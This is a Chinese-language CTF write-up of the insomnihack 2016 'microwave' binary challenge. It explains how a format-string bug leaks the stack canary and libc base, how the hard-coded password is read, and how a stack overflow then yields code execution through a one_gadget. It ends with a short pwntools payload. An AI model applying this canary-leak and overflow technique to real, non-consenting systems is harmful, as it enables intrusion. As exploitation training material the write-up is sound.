insomnihack CTF 2016-microwave

1.常规checksec,程序全部开启保护,并且有canary保护,从IDA中汇编代码和伪代码也可以看到:

(1)汇编代码:

①生成canary的代码:一般在函数初始化的时候就可以看到

1
2
3
4
#注释头

mov rax,fs:28h
mov [rsp+28h+var_20], rax

img

②校验:

1
2
3
4
5
#注释头

mov rax, [rsp+28h+var_20]
xor rax, fs:28h
jnz short func

img

(2)伪代码:

1
2
3
4
#注释头

v_canary = __readfsqword(0x28u);
return __readfsqword(0x28u) ^ v_canary;

有很多种形式,如下也是一种:

img

2.之后查找漏洞,找到两个漏洞:

(1)功能1的sub_F00函数中的printf存在格式化字符串漏洞:

1
2
3
#注释头

__printf_chk(1LL, a1);

这里的1LL不知道是个什么意思,但是实际效果仍然相当于是printf(a1),调试中可以知道。

(2)功能2的sub_1000存在栈溢出漏洞:

1
2
3
4
5
#注释头

__int64 v1; // [rsp+0h] [rbp-418h]
------------------------------------------------------
read(0, &v1, 0x800uLL);

3.现在是保护全开,栈溢出漏洞因为canary的关系没办法利用,唯一能利用的只有一个printf()函数,而且还没办法劫持got表,没办法进行完全栈操控。所以这里就想能不能通过printf函数泄露canary从而使得栈溢出这个漏洞派上用场。

4.首先调试,观察canary在栈上的偏移位置,调试断点下在sub_F00函数的printf函数上,因为这个sub_F00函数中也有canary的保护,那么该函数栈上一定存在canary的值。自己调试如下图:

img

IDA调试界面点击对应生成canary的代码mov [rsp+28h+var_20], rax中的[rsp+28h+var_20]就可以知道canary的位置应该是rsp+8h处,这里也可以看出来V6就是canary

另外由于这是64位程序,取参顺序是rdi, rsi, rdx, rcx, r8, r9, 栈,由于printf()前两个参数位rdi,rsi对应的是fd和&buf,

这里的buf就是我们输入的username,因为username的输入保存在堆上main函数中有声明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

void *v4; // r12
----------------------------------------------------------------
v4 = malloc(0x3EuLL);
-------------------------------------------------------------------
fwrite(" username: ", 1uLL, 0x15uLL, stdout);
fflush(0LL);
fgets((char *)v4, 40, stdin);
--------------------------------------------------------------------
fwrite(" password: ", 1uLL, 0x15uLL, stdout);
fflush(0LL);
v3 = 20LL;
fgets((char *)v4 + 40, 20, stdin);
------------------------------------------------------------------------
sub_F00((__int64)v4);
--------------------------------------------------------------------
unsigned __int64 __fastcall sub_F00(__int64 a1)
-------------------------------------------------------------------
__printf_chk(1LL, a1);

下图是没有打印之前的内容:

img

我们可以看到rsi的值是5开头的,这其实就是一个堆内存地址,调试过程中输入跳转就可以看到该地址对应的内容就是我们的输入username的值。那么输入username时输入多个%p,触发格式化字符串漏洞,打印寄存器和栈上的内容,泄露出libc地址和canary。printf()依次根据%p打印的参数顺序是rdx,rcx,r8,r9,栈。所以r9之后第一个打印出来的数据是rsp-8h,也就是canary的值,这样就可以得到泄露的canary的值,从而控制栈溢出。同时我们可以发现打印出来的数据中包含libc中的函数,这样同时也泄露出来了libc加载后的地址,之后通过偏移计算出基地址。

5.之后进行栈溢出操控,但是这里如果连不上账户会没办法使用sub_1000函数,用IDA查看可以看到在sub_f00函数中对密码进行检查,可直接查看到密码:

img

这个off_204010就是密码,点进去就可以看到。

由之前步骤可以得到canary和libc基地址。查询之后可以发现由于retn前会检查canary,对应汇编代码是:

xor rax, fs:28h

那么如果canary输入成功,xor之后会使得rax一定为0,满足该libc库的Onegadget条件,所以这里可以直接使用Onegadget:

1
2
3
4
5
6
7
8
9
#注释头

payload = "A"*1032 #padding
payload += p64(canary) #正确的canary
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE
io.sendline('2') #使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157